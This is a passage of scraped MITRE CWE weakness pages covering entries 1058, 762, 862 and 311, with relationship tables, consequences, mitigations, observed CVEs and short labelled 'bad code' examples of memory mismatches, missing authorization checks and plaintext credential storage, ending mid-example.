Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	452	Initialization and Cleanup Errors

Common Consequences

Scope	Impact	Likelihood
Other	Technical Impact: Reduce Reliability

Weakness Ordinalities

Ordinality	Description
Indirect	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1307	CISQ Quality Measures - Maintainability
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Other

Rationale:

This entry is primarily a quality issue with no direct security implications.

Comments:

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-18

References

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-18. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2018-07-02 (CWE 3.2, 2019-01-03)	CWE Content Team	MITRE
2018-07-02 (CWE 3.2, 2019-01-03)	Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
Modifications
Modification Date	Modifier	Organization
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Description
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Mapping_Notes

Weakness ID: 1058

View customized information:

Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

Extended Description

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	557	Concurrency Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Common Consequences

Scope	Impact	Likelihood
Other	Technical Impact: Reduce Reliability

Weakness Ordinalities

Ordinality	Description
Indirect	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-11

References

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-RLB-11. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2018-07-02 (CWE 3.2, 2019-01-03)	CWE Content Team	MITRE
2018-07-02 (CWE 3.2, 2019-01-03)	Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
Modifications
Modification Date	Modifier	Organization
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 762

View customized information:

Description

The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	763	Release of Invalid Pointer or Reference
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	590	Free of Memory not on the Heap

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

Likelihood Of Exploit

Low

Demonstrative Examples

Example 1

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

(bad code)

Example Language: C++

void foo(){

BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

free(ptr);

}

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

(good code)

Example Language: C++

void foo(){

BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

delete ptr;

}

Example 2

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

(bad code)

Example Language: C++

class A {

void foo();

};
void A::foo(){

int *ptr;
ptr = (int*)malloc(sizeof(int));
delete ptr;

}

Example 3

In this example, the program calls the delete[] function on non-heap memory.

(bad code)

Example Language: C++

class A{

void foo(bool);

};
void A::foo(bool heap) {

int localArray[2] = {

11,22

};
int *p = localArray;
if (heap){

p = new int[2];

}
delete[] p;

}

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

Strategy: Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1237	SFP Primary Cluster: Faulty Resource Release
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Applicable Platform

This weakness is possible in any programming language that allows manual management of memory.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	WIN30-C	Exact	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657] "boost C++ Library Smart Pointers". <https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm>. URL validated: 2023-04-07.

[REF-480] "Valgrind". <http://valgrind.org/>.

[REF-391] iOS Developer Library. "Transitioning to ARC Release Notes". 2013-08-08. <https://developer.apple.com/library/archive/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2009-05-08 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-05-08 (CWE 1.4, 2009-05-27)
Contributions
Contribution Date	Contributor	Organization
2010-04-30	Martin Sebor	Cisco Systems, Inc.
2010-04-30	Provided improvement to existing Mitigation
Modifications
Modification Date	Modifier	Organization
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Likelihood_of_Exploit
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Description, Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Demonstrative_Examples, Potential_Mitigations, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, References, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 862

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ:	"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	425	Direct Request ('Forced Browsing')
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	638	Not Using Complete Mediation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	939	Improper Authorization in Handler for Custom URL Scheme
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1314	Missing Write Protection for Parametric Data Values

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	425	Direct Request ('Forced Browsing')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Background Details

Modes Of Introduction

Phase

Note

Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data; Read Files or Directories An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity	Technical Impact: Modify Application Data; Modify Files or Directories An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control	Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)

Example Language: PHP

function runEmployeeQuery($dbName, $name){

}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

Example 2

(bad code)

Example Language: Perl

sub DisplayPrivateMessage {

}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and

# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {

ExitError("invalid username or password");

}

my $id = $q->param('id');
DisplayPrivateMessage($id);

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2022-24730	Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2020-17533	Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862)

Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Detection Methods

Automated Static Analysis

Effectiveness: Limited

Automated Dynamic Analysis

Manual Analysis

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
ISA/IEC 62443	Part 2-1	Req 4.3.3.7
ISA/IEC 62443	Part 3-3	Req SR 2.1
ISA/IEC 62443	Part 4-2	Req CR 2.1

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-665	Exploitation of Thunderbolt Protection Flaws

References

[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2011-05-24 (CWE 1.13, 2011-06-01)	CWE Content Team	MITRE
2011-05-24 (CWE 1.13, 2011-06-01)
Contributions
Contribution Date	Contributor	Organization
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
Modifications
Modification Date	Modifier	Organization
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms, Observed_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples, Related_Attack_Patterns, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships, Taxonomy_Mappings

Weakness ID: 311

View customized information:

Description

The product does not encrypt sensitive or critical information before storage or transmission.

Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	693	Protection Mechanism Failure
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	312	Cleartext Storage of Sensitive Information
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	319	Cleartext Transmission of Sensitive Information
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	327	Use of a Broken or Risky Cryptographic Algorithm

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	312	Cleartext Storage of Sensitive Information
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	319	Cleartext Transmission of Sensitive Information

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1013	Encrypt Data

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.
Confidentiality Integrity	Technical Impact: Modify Application Data Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)

Example Language: PHP

function persistLogin($username, $password){

$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);

}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)

Example Language: C

server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
